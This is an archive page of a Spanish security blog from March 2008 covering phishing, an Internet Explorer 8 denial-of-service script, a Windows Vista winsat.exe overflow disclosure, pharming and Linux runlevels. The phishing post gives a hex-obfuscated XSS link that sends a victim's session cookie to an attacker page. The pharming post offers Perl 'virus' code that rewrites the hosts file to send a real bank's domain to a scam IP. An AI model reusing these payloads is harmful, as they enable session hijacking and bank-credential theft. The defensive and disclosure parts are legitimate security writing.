Acceder CPanel Acceder WHM Acceder webmail

Archivos en el mes de Marzo del 2008

Técnicas Anti-Pishing:

¿Que es el Pishing?
Según la wikipedia, el Pishing es lo siguiente:
“Phishing es un término informático que denomina un tipo de delito encuadrado dentro del ámbito de las estafas, y que se comete mediante el uso de un tipo de ingeniería social caracterizado por intentar adquirir información confidencial de forma fraudulenta (como puede ser una contraseña o información detallada sobre tarjetas de crédito u otra información bancaria). El estafador, conocido como phisher, se hace pasar por una persona o empresa de confianza en una aparente comunicación oficial electrónica, por lo común un correo electrónico, o algún sistema de mensajería instantánea o incluso utilizando también llamadas telefónicas.”
Básicamente, el Pishing consiste en substraer datos confidenciales (contraseñas, datos bancarios…) mediante la imitación de una pagina de seguridad (la del mismo banco).

¿Como evitar el Pishing?
Es fundamental fijarse en los links de las paginas del banco, ya que muchas veces pueden no ser exactamente como tienen que ser, por ejemplo, supongamos que tenemos lo siguiente:

<script language="JavaScript">
function Redireccion() {
var pass = prompt(" Introduce la password:", "")
if(pass == null)
{
alert("Debes especificar tu password para poder entrar.")
if (confirm("¿Quieres intentarlo de nuevo?"))
{
Redireccion()
}
}
window.open("http://www.tubanco.com/usuarios.php?pass=" +
pass)
}
</script>

Este seria el supuesto javascript correcto, pues, para hacer un pishing a este código, sencillamente tendríamos que cambiar esta linea:

window.open(”http://www.tubanco.com/usuarios.php?pass=” +
pass)

por una pagina nuestra que recopilará las passwords introducidas. Muchos Pishers intentan aprovecharse de esto creando subdominios muy parecidos al que intentan Pishear, en este caso, serian del orden de:

– http://www.tubanco.hostinggratuito.com
– http: //www.tubanco@hostinggratuito.com

Si el usuario se fija en que las url’s de los links son correctas no hay posibilidad de Pishing de este tipo.

Phishing Avanzado
Las técnicas Phising mas avanzadas utilizan mezclas de html + javascript para confundir al usuario, ya que con javascript pueden pegar una foto sobre la dirección real y simular se una dirección tipo www.tubanco.com.
Otras opciones es buscar vulnerabilidades tipo Xss en la web del banco, que conlleva la ejecución de código javascript dentro de la web del banco. Un ejemplo seria el siguiente:

http://www.tubanco.com/accesosvulnerable.php?pass=”>


Una vez con la cookie, si la victima ya estaba logueada, el atacante se puede entrar en la cuenta de la victima sin necesitad de introducir ninguna contraseña. Cabe decir, que el link del robo de cookies se podría detectar muy fácilmente por el
usuario, para esconder esa información, el atacante puede codificar esa cadena del javascript en hexadecimal, quedando así:

http://www.tubanco.com/accesosvulnerable.php?pass=%22%3e%3
c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74
%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3
a%2f%2f%77%77%77%2e%70%61%67%69%6e%61%64%65%6c%
61%74%61%63%61%6e%74%65%2e%63%6f%6d%2f%72%65%67
%69%73%74%72%6f%64%65%63%6f%6f%6b%69%65%73%2e%7
0%68%70%3f%63%6f%6f%6b%69%65%3d%27%20%20%20%64%
6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%
73%63%72%69%70%74%3e

Una vez asi es imposible advertir que detrás de esos caracteres en hexadecimal se encuentra una instrucción para robarnos la cookie. Es conveniente, que si se encuentran una url de estas características, lo descodifiquen, para ver si en realidad debemos o no entrar en ese link.
Actualmente, muchos bancos han implementado la seguridad https en sus pagina, lo que garantiza que la información, antes de ser transferida, será codificada, asegurándonos así que si un atacante lograra interceptar nuestros datos, los tendría que descodificar.


Publicado en: Fraude
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Denegación de servicos en IExplorer 8

Asi es, investigando sobre la meteria de este tipo de ataques DoS, nos llevo a hacía una herramienta de microsoft, el nuevo internet explorer 8, que si fuera poco despues de su mala entrada que ha causado entre los diseñadores y sus hojas de estilo, tambien viene dando guerra en el ámbito de la seguridad. Se trata de un secuestro de prototipos sobre el objeto de XDomainRequest, el encargado de llamar de las llamadas XML entre dominios.

Para explotar este ataque por ejemplo vamos abrir ventanas sobre PerformSec, lo que causamos es abrir una nueva ventana de ejecución en cuanto la ventana anterior se cuelga, esto nos lleva a quedarnos son recursos y tener que reiniciar el sistema para volver a la normalidad, ya que la ejecución de ventanas es infinita, esto es un suceso muy parecido cuando programamos sobre lenguaje JavaScript bluces infinitos, el escript para explotar esta vulnerabilidad es el siguiente:

<script>
xdr = XDomainRequest;
xdr = function() {
return new XDomainRequest();
}
ping = 'PerformSec';
xdr = new XDomainRequest();
xdr.open("POST", "http://performsec.com");
xdr.send(ping);
</script>


Publicado en: Seguridad, Windows
Tags: , , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Agujero de seguridad en vista, y Microsoft hace trampas

No es ningún secreto que Microsoft, la empresa que desarrolla Windows, es muy amiga del juego sucio, las trampas, las mentiras, y el engaño, ha llegado a tal punto, que la empresa recibe multas por sus prácticas, que rozan lo criminal y que están muy lejos de la ética y la competencia libre.

Sin embargo, todo esto parece algo lejano hasta que lo vives en tus propias carnes, el como una empresa como esta, con su poder, extiende su brazo para tapar lo que les interesa… y creedme, es frustrante.

La historia comienza cuando hace un par de semanas, tuve que instalarme Windows Vista para pasar una aplicación en python a windows (había algunas ligeras diferencias entre el código para windows y el de linux, y yo me encargaba de corregirlas), entre programar y programar, me pongo a echarle un vistazo al vista, me estudio un poco como van sus capas de seguridad, el UAC, todo esto nuevo de lo que Microsft habla tanto.

Al cabo de un rato de estudiarmelo, leo en meneame un noticia un tanto curiosa que habla sobre un programa que viene incluido en vista, y que permite realizar tests sobre la potencia del hardware de tu sistema (benchmarking), el caso es que me pongo a jugar con ella, cuando veo que la noticia habla sobre un comando, así:

winsat d3d -texshader -totalobj 15

lo cual crea un efecto 3d para testear tu gráfica, con tantas figuras como especifiques tras el -totalobj.

Nada mas ver el argumento, me imaginé que el programador habría utilizado un signed int (un entero que usa el bit mas significativo para la parte negativa, por lo que su tamaño es de la mitad que 2^32) para almacenar el parametro -totalobj, por lo que si pedimos un número suficientemente largo, sobrepasamos la mitad positiva del número y pasamos a la negativa, o incluso, si pasamos 2^32+1 el número valdrá 0. Todo esto está ya mas que estudiado en seguridad y se llama Integer Overflow.

Así que hice la prueba:

winsat d3d -texshader -totalobj 2147483648
Esto dejaría al signed int en negativo, y si alguien hace la prueba verá que con eso, winsat.exe se detiene y peta (lo que en linux sería una violación de segmento).

Llegados a este punto, ya sabemos con total certeza, que existe un agujero de seguridad en esa aplicación, además, la guinda del pastel viene en que esa aplicación pide privilegios de administrador para ejecutarse, por lo que si esto llegase a ser explotable, y pudiésemos ejecutar código a partir de esta aplicación, podríamos utilizar esto para elevar privilegios desde nuestra aplicación, ya que si nuestra aplicación pide privilegios de administrador, lo mas probable es que cuando el user lea que una aplicación pide privilegios, diga que no (un user educado), sin embargo, si nuestra aplicación ejecuta a winsat.exe y de ahí, ejecuta código, es winsat.exe, firmado por Microsoft y alojado en system32, quien pide los privilegios, esto cambia mucho el asunto.

Dejando a un lado hasta donde llega esta vulnerabilidad, decidí contactar con Microsoft para que la solucionasen, primero me contestaron con muy buenas palabras, hasta que llega un mail un poco mas raro:

Hello Jose,Thank you for your report. To follow up I am wondering what about this crash indicates to you that it is exploitable. Have you been able to obtain an elevation of privilege, code execution, etc.?

Thank you,

Nate
Me pedían a mi, que les explicase como explotarlo, es decir, ellos no sabían muy bien por donde cogerlo.

Tras un par de correos mas, Microsoft deja de dar señales de vida, y me decido a enviar el agujero de seguridad, a la principal lista de correo de seguridad informática: securityfocus bugtraq, donde misteriosamente, ya casi no se reciben bugs de productos Microsoft, comparado con hace un año.

Al poco rato de enviar el siguiente texto:

From: jose@eyeos.org
To: bugtraq@securityfocus.com
Date: 28 Mar 2008 19:10:39 -0000
Subject: Microsoft Windows Vista winsat.exe Integer Overflow
Title: Windows Vista winsat.exe Integer OverflowDiscovered by: Jose Carlos Norte (jose@eyeos.org)

Vendor Status: notified on 24-03-08, MSRC start to work on a solution, but give no answer in 4 days.

There is a flaw in windows vista benchmarking tool, called winsat.exe, that runs withs administrative privileges.

The problem, is an integer overflow in -totalobj argument, example:

winsat d3d -texshader -totalobj 2147483648

this result in a overflow of the signed int that stores the totalobj argument, and turns it negative, and then, the program crashes.

I’m not sure if you can control some memory using other options in winsat.exe arguments to take advantage of this issue, and exploit it.

Me contesta un moderador de la lista, diciendome que NO ACEPTAN mi correo, argumentando lo siguiente:

WinSAT requires administrator privileges to run. If the user does not
have administrator privileges, WinSAT will display a dialog box that
asks for credentials

Evidentemente, se olvidan de mencionar que la gran ventaja maravillosa de Windows Vista es que ya no corren las cosas como administrador, por defecto, sin embargo, este tipo de bugs, revive viejos problemas en Windows, pero eso no importa.

Lo mas irónico de la historia es que hace algún tiempo en estas listas de seguridad solo se ven bugs en productos de software libre o productos de terceros, pero cada vez menos, en productos Microsoft.

Además, el mismo moderador aceptó como bugs válidos, este bug, quees totalmente FUD, que lo que insinua es que si puedes acceder a la memoria del proceso xchat, estando en local y con acceso al sistema, puedes pillar datos sensible de tu propio usuario, y este otro,que tal como se ve en las respuestas, directamente: es falso.

La pregunta que queda en el aire es: ¿hay un doble rasero en las listas de seguridad, es decir, hay censura según quien sea el afectado por el bug, o cuanto dinero tenga para taparlo?

Autor | Jose Carlos Norte


Publicado en: Seguridad, Windows
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Pharming, nueva técnica de fraude

Hoy me gustaría hablarles del pharming, principalmente de su uso y abuso.
Es una vulnerabilidad que reside en los servidores DNS, aquellos servidores que transforman URLs a IPs. La vulnerabilidad tiene varios usos y muchos de ellos son fines no legales, como puede ser el Phising, una de las prioridades de esta vulnerabilidad.

Más que nada quiero enfocar este texto al uso práctico de virus creados para el robo de credenciales.

#Hosts.

En todos los sistemas operativos, ya sean de particulares o empresas poseen un archivo llamado ‘hosts’ en el se encuentran las URLs y las IPs a las que se dirigen.
Si nosotros podemos escribir en ese archivo ‘hosts’ podríamos hacer que al entrar a google.com fuera a www.performsec.com. Veamos un ejemplo:

127.0.0.1 localhost

Esto quiere decir que localhost se resuelve como 127.0.0.1, es por ello por lo que cuando ponemos localhost en nuestro navegador nos dirigimos a nuestra máquina.

#Rutas.

# Windows 95/98/Me: C:\Windows\Hosts
# Windows NT/2000: C:\WINNT\System32\drivers\etc
# Windows XP: C:\WINDOWS\system32\drivers\etc
# Windows 2003: C:\WINDOWS\system32\drivers\etc
# Windows Vista: C:\WINDOWS\system32\drivers\etc
# Unix (en general): /etc/hosts
# Linux (en general): /etc/hosts
# MacOS (en general): /etc/hosts

En esos directorios se encuetra un archivo llamado ‘hosts’. El cual podemos modificar a nuestro gusto.

#Code.

Si queremos crear un virus dedicado al robo de credenciales bancarias el uso de la técnica Pharming nos dará muchos resultados. Imaginemos que tenemos un Scam del ‘Banco BBVA’ en la IP = 85.235.65.99 y qeremos que la víctima que a sido infectada por el virus al entrar a la web oficial del ‘Banco BBVA’, redireccione a nuestro Scam. Para eso haríamos esto:

85.235.65.99 bbva.es

La programación del virus:

my $mensaje = "85.235.65.99 bbva.es";$dir = ' C:\WINDOWS\system32\drivers\etc\hosts ';

open (HOSTS, ">>$dir");

print HOSTS $mensaje;


Publicado en: Fraude, Seguridad
Tags: , ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo

Niveles de ejecución de inicio Linux

Como hemos estado estudiando asta ahora sobre Linux, configuración de DNS y DHCP, veremos que cada vez que reniciamos nuestro sistema tenemos que arrancar otra vez los servicios con init.d, para evitar este trabajo voy a explicar los niveles de ejecución en linux:

Nivel 0 (Halt)
Nivel 1 (monousuario)
Nivel 2 (multiusuario sin red)
Nivel 3 (multiusuario con red)
Nivel 4 (pruebas)
Nivel 5 (multiusuario con red y modo grafico)
Nivel 6 (reboot)

En función del nivel de ejecución existe la posibilidad de configurar los servicios que deben iniciarse de forma automática, para ello es necesario crear unos enlaces simbólicos en las carpetas /etc/rcX.d (donde x es un numero del 0 al 6 que indica el nivel de ejecución de Linux) que apunten al script de inicio del servicio que se encuentra en /etc/init.d. Dicho enlaces deberán tener un nombre un poco especial ya que deberán comenzar por la letra S de Start, seguida de un numero de dos cifras (para establecer el orden de arranque de los servicios) y del nombre del servicio, por ejemplo en nuestro caso el de S20dchp y de S18bind, los números se refieren a la prioridad por ello a d.C. le asignamos un numero superior a bind (DNS), porque hay que ejecutar el servicio DHCP antes que el servicio DNS. Si lo que nos interesa es que el servicio no arranque la primera letra deberá ser una K de Kill.

Estos enlaces se pueden crear con la orden:

# update-rc.d

Y así si queremos que le servicio samba se arranque cuando el servidor inicia en los niveles 3,4 y 5 y no arranque cuando inicia en los niveles 1,2 y 6, ejecutaremos la siguiente orden (importante no olvidar le punto final):

# update-rc.d samba start 20 3 4 5 .

Y para que no arranque en lo otros niveles:

# update-rc.d samba start 20 3 4 5 . stop 18 1 2 6 .

De esta forma se crearan enlaces simbólicos de arranque con el nombre S20 samba en este caso, en las carpetas:

/etc/rd3.d
/etc/rd4.d
/etc/rd5.d

El numero 20 indica la prioridad como mencionamos antes. Sirve para arrancar o parar antes unos servicios que otros, ya que los scripts se procesan por orden alfabético. Se puede utilizar cualquier número entre 1 y 99.

Si por alguna razón el comando # update-rc.d no crea los enlaces porque ya están creados se pueden eliminar con la opción –f y luego volver a crearlos:

# update-rc.d –f samba remove

Bueno asta ahora estabamos trabajando sobre Linux, proximamente vamos a trabajar todas estas variantes sobre Windows 2003 server. Y a continuación volveremos sobre Linux con apache y sus variantes.


Publicado en: Linux
Tags: ,
Reacciones con otros blogs:  ¡Click!
Marcadores sociales: Compártelo